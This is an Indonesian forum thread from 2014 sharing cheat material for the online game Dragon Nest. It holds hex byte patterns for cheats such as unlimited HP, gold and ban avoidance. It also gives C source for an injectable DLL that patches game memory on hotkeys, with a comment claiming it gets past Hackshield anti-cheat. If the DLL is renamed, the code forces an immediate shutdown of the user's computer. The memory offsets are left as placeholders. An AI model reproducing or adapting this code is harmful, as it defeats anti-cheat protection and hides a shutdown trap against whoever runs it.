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 Release Update Base + Aob Full

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sisil123
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Post : 143
Join date : 19.11.11

Release Update Base + Aob Full Empty
PostSubyek: Release Update Base + Aob Full   Release Update Base + Aob Full Icon_minitimeThu Jan 09, 2014 11:00 pm

Code:
AOB NYA NE

Damage UP : 4D 61 69 6E 44 61 6D 61 67 65 52 61 74 65 00 5F

Defense UP : 44 65 66 65 6E 73 65 52 61 74 65 00 00 00 00 5F



Level Limit : 4C 65 76 65 6C 4C 69 6D 69 74 00 5F

Max Combo Score : 4D 61 78 43 6F 6D 62 6F 53 63 6F 72 65 0

0 00 5F



Anti BANNED : 42 61 6E 41 6D 6F 75 6E 74 00 00



Unlimited HP : 49 44 5F 53 54 41 54 49 43 5F 48 50 00 00 00 00

Unlimited MP : 49 44 5F 53 54 41 54 49 43 5F 4D 50 00 00 00 00



Award EXP : 41 77 61 72 64 45 58 50 00 00 00 00 00 00 00

Gold Hack : 47 6F 6C 64 4D 61 78 00 00 00 00



Unlimited FTG : 49 44 5F 53 54 41 54 49 43 5F 46 54 47 00 00 00 HP

ConsUme : 48 50 43 6F 6E 73 75 6D 65 54 79 70 65 00 00 5F



SP Consume : 53 50 43 6F 6E 73 75 6D 65 54 79 70 65 00 00 5F

Respawn Hack : 52 65 73 70 61 77 6E 5F 54 69 6D 65 00 00 00 00



Repair Hack : 49 44 5F 44 55 52 41 42 49 4C 49 54 59 5F 47 41 55 47 45



Move Speed : 4D 6F 76 65 53 70 65 65 64 00 00 5F 00 00 00 61



Reward Hack : 52 65 77 61 72 64 50 6F 69 6E 74 00 00 00 00 5F

Stun Hit : 53 74 75 6E 48 69 74 53 63 6F 72 65 00 00 00 5F



3x Exp : 45 58 50 5F 47 41 55 47 45 00 00 00 00



Skill Book : 55 6E 6C 6F 63 6B 53 6B 69 6C 6C 42 6F 6F 6B 49 74 65 6D 49 44

Prince Hack : 55 6E 6C 6F 63 6B 50 72 69 63 65 00 00 00 00 5F



Hit Freeze : 48 69 74 5F 46 72 65 65 7A 69 6E 67 00 00 00 00



No Delay  : 44 6F 77 6E 44 65 6C 61 79 57 65 69 67 68 74

No Delay  : 5F 44 6F 77 6E 44 65 6C 61 79 57 65 69 67 68 74

Code:
Base nya
Code:
#define WIN32_LEAN_AND_MEAN



#include <windows.h>



#include <stdio.h>



#include <stdlib.h>





//============ OFFSET ============



#define NoDelay 0x000000



#define UnlimitedHP 0x000000



#define UnlimitedMP 0x000000



#define UnlimitedFTG 0x000000



#define Banned 0x000000



#define Ilegal 0x000000



#define Gold 0x000000



#define Jump 0x000000



#define EXP2x 0x000000



#define DamageUP 0x000000



//============ OFFSET ============





LPTSTR ModulGame = "DragonNest.exe";





void Patch(void *adr, void *ptr, int size)





{





DWORD OldProtection;





VirtualProtect(adr,size,PAGE_EXECUTE_READWRITE, &OldProtection);





memcpy(adr,ptr,size);





VirtualProtect(adr,size,OldProtection, &OldProtection);





}





void WritePointer(unsigned long ulBase, int iOffset, int iValue)





{





if (!IsBadReadPtr((VOID*)ulBase, sizeof(unsigned long)))





{





if (!IsBadWritePtr((void*)(*(unsigned long*)ulBase + iOffset), sizeof(unsigned long)))





{





*(int*)(*(unsigned long*)ulBase + iOffset) = iValue;





}





}





}





DWORD WINAPI MemPacth(LPVOID param)





{





while(1)



{



//======================== No Delay ===========================//



if (GetAsyncKeyState(VK_F1)&1) { // Hotkey ON

MessageBeep(MB_ICONINFORMATION);

DWORD adrMin1, adrMin2 = 0;

DWORD dwPB = (DWORD)GetModuleHandleA("DragonNest.exe");

if (dwPB > 0) {adrMin1 = dwPB + (DWORD)NoDelay;

Patch((void *)(adrMin1),(void*)(PBYTE)"\x39\x39", 2); // Jangan di ganti Agar WORK

}



}





//======================== Unlimited HP ===========================//



if (GetAsyncKeyState(VK_F2)&1) { // Hotkey ON

MessageBeep(MB_ICONINFORMATION);

DWORD adrMin1, adrMin2 = 0;

DWORD dwPB = (DWORD)GetModuleHandleA("DragonNest.exe");

if (dwPB > 0) {adrMin1 = dwPB + (DWORD)UnlimitedHP;

Patch((void *)(adrMin1),(void*)(PBYTE)"\x70",1); // Jangan di ganti Agar WORK

}



}



//======================== Unlimited MP ===========================//



if (GetAsyncKeyState(VK_F3)&1) { // Hotkey ON

MessageBeep(MB_ICONINFORMATION);

DWORD adrMin1, adrMin2 = 0;

DWORD dwPB = (DWORD)GetModuleHandleA("DragonNest.exe");

if (dwPB > 0) {adrMin1 = dwPB + (DWORD)UnlimitedMP;

Patch((void *)(adrMin1),(void*)(PBYTE)"\x70",1); // Jangan di ganti Agar WORK

}



}



//======================== Unlimited FTG ===========================//



if (GetAsyncKeyState(VK_F4)&1) { // Hotkey ON

MessageBeep(MB_ICONINFORMATION);

DWORD adrMin1, adrMin2 = 0;

DWORD dwPB = (DWORD)GetModuleHandleA("DragonNest.exe");

if (dwPB > 0) {adrMin1 = dwPB + (DWORD)UnlimitedFTG;

Patch((void *)(adrMin1),(void*)(PBYTE)"\x70",1); // Jangan di ganti Agar WORK

}



}





//======================== Banned ===========================//



if (GetAsyncKeyState(VK_F5)&1) { // Hotkey ON

MessageBeep(MB_ICONINFORMATION);

DWORD adrMin1, adrMin2 = 0;

DWORD dwPB = (DWORD)GetModuleHandleA("DragonNest.exe");

if (dwPB > 0) {adrMin1 = dwPB + (DWORD)Banned;

Patch((void *)(adrMin1),(void*)(PBYTE)"\x70",1); // Jangan di ganti Agar WORK

}



}



//======================== Ilegal ===========================//



if (GetAsyncKeyState(VK_F6)&1) { // Hotkey ON

MessageBeep(MB_ICONINFORMATION);

DWORD adrMin1, adrMin2 = 0;

DWORD dwPB = (DWORD)GetModuleHandleA("DragonNest.exe");

if (dwPB > 0) {adrMin1 = dwPB + (DWORD)Ilegal;

Patch((void *)(adrMin1),(void*)(PBYTE)"\x70",1); // Jangan di ganti Agar WORK

}



}



//======================== Gold ===========================//



if (GetAsyncKeyState(VK_F7)&1) { // Hotkey ON

MessageBeep(MB_ICONINFORMATION);

DWORD adrMin1, adrMin2 = 0;

DWORD dwPB = (DWORD)GetModuleHandleA("DragonNest.exe");

if (dwPB > 0) {adrMin1 = dwPB + (DWORD)Gold;

Patch((void *)(adrMin1),(void*)(PBYTE)"\x70",1); // Jangan di ganti Agar WORK

}



}



//======================== Jump ===========================//



if (GetAsyncKeyState(VK_F8)&1) { // Hotkey ON

MessageBeep(MB_ICONINFORMATION);

DWORD adrMin1, adrMin2 = 0;

DWORD dwPB = (DWORD)GetModuleHandleA("DragonNest.exe");

if (dwPB > 0) {adrMin1 = dwPB + (DWORD)Jump;

Patch((void *)(adrMin1),(void*)(PBYTE)"\x70",1); // Jangan di ganti Agar WORK

}



}



//======================== EXP2x ===========================//



if (GetAsyncKeyState(VK_F9)&1) { // Hotkey ON

MessageBeep(MB_ICONINFORMATION);

DWORD adrMin1, adrMin2 = 0;

DWORD dwPB = (DWORD)GetModuleHandleA("DragonNest.exe");

if (dwPB > 0) {adrMin1 = dwPB + (DWORD)EXP2x;

Patch((void *)(adrMin1),(void*)(PBYTE)"\x70",1); // Jangan di ganti Agar WORK

}



}



//======================== DemageUP ===========================//



if (GetAsyncKeyState(VK_F10)&1) { // Hotkey ON

MessageBeep(MB_ICONINFORMATION);

DWORD adrMin1, adrMin2 = 0;

DWORD dwPB = (DWORD)GetModuleHandleA("DragonNest.exe");

if (dwPB > 0) {adrMin1 = dwPB + (DWORD)DemageUP;

Patch((void *)(adrMin1),(void*)(PBYTE)"\x70",1); // Jangan di ganti Agar WORK

}



}



Sleep(5); //Jangan di ganti Agar tembus Hackshield





}





return (0);

}





BOOL WINAPI DllMain ( HMODULE hDll, DWORD dwReason, LPVOID lpReserved ) {



if (dwReason == DLL_PROCESS_ATTACH) {



DisableThreadLibraryCalls(hDll);



if(dwReason == DLL_PROCESS_ATTACH) {





MessageBox(0, "Created By Riyho Xiruz", "Notice", MB_OK + MB_ICONINFORMATION ); // Notice yg keluar



CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MemPacth, 0, 0, 0);





char strDLLName [_MAX_PATH];





GetModuleFileName(hDll, strDLLName , _MAX_PATH);





if (strstr(strDLLName, "Xiruz.dll") <= 0) { // Xiruz.dll ganti dengan nama dll kamu penting !





// tampilkan pesan, kalo dll nya sdh bukan asli / sudah di rename





MessageBox(0, "Rename ? \nBalikin WOY! \nRestart ahh ", "PERHATIAN", 0);



system("start C:/Windows/System32/shutdown.exe -s -f -t 00");



ExitProcess(0);

}



}



else if(dwReason == DLL_PROCESS_DETACH) {

}



}



return TRUE;

}
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sisil123
Member
Member
sisil123


Post : 5
Join date : 10.01.14

Release Update Base + Aob Full Empty
PostSubyek: Tehee~   Release Update Base + Aob Full Icon_minitimeFri Jan 10, 2014 12:04 pm

Cara pakai nya gimana bro ? ga ngerti ane ^^ mohon di kasih tau  ngacir make bajai 






 ngakak banget   ngakak banget
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Mandala™
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Mandala™


Post : 143
Join date : 19.11.11

Release Update Base + Aob Full Empty
PostSubyek: Re: Release Update Base + Aob Full   Release Update Base + Aob Full Icon_minitimeFri Jan 10, 2014 5:37 pm

ada di google bnyak cara memakai nya .

ane hanya ngasih AOB nya aja
 sundul gan
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sukesuka
Warga
Warga
sukesuka


Post : 13
Join date : 11.01.14

Release Update Base + Aob Full Empty
PostSubyek: Re: Release Update Base + Aob Full   Release Update Base + Aob Full Icon_minitimeSat Jan 11, 2014 3:20 am

Di adain om cara bikin cheat kaya gini dari awal. Pake .dll ya?
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Mandala™
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Mandala™


Post : 143
Join date : 19.11.11

Release Update Base + Aob Full Empty
PostSubyek: Re: Release Update Base + Aob Full   Release Update Base + Aob Full Icon_minitimeSat Jan 11, 2014 3:25 am

oke2 nanti saya buat req di terima  sombong
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jatzjetz
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Semi Moderator™
jatzjetz


Post : 156
Join date : 10.01.14

Release Update Base + Aob Full Empty
PostSubyek: Re: Release Update Base + Aob Full   Release Update Base + Aob Full Icon_minitimeSat Jan 11, 2014 11:21 am

duuh! gak jelas nih postingnya!
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rudy29
Calon Member
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Post : 1
Join date : 12.01.14

Release Update Base + Aob Full Empty
PostSubyek: Re: Release Update Base + Aob Full   Release Update Base + Aob Full Icon_minitimeSun Jan 12, 2014 4:01 pm

masih work kah ?
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jatzjetz
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Semi Moderator™
jatzjetz


Post : 156
Join date : 10.01.14

Release Update Base + Aob Full Empty
PostSubyek: Re: Release Update Base + Aob Full   Release Update Base + Aob Full Icon_minitimeSun Jan 12, 2014 4:12 pm

GAK WORKK! DAH GW COBA GK BISA BISA!  akhirnya
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Mandala™
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Mandala™


Post : 143
Join date : 19.11.11

Release Update Base + Aob Full Empty
PostSubyek: Re: Release Update Base + Aob Full   Release Update Base + Aob Full Icon_minitimeMon Jan 13, 2014 12:32 pm

capslock +1 buat anda .

sampai +10 warm anda saya banned .

saya gak mandang bulu
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sisil123
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sisil123


Post : 5
Join date : 10.01.14

Release Update Base + Aob Full Empty
PostSubyek: Re: Release Update Base + Aob Full   Release Update Base + Aob Full Icon_minitimeSat Jan 18, 2014 1:15 am

Duh ga ngerti ane om :v  hammer  tolong 



 absen 
___________________________________

 peluk Hargai lah post orang lain peluk
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gdracil13
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Post : 2
Join date : 18.02.14

Release Update Base + Aob Full Empty
PostSubyek: Re: Release Update Base + Aob Full   Release Update Base + Aob Full Icon_minitimeTue Feb 18, 2014 6:17 am

adakah string / aob lostsaga yang masih work hingga sekarang ?
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Release Update Base + Aob Full Empty
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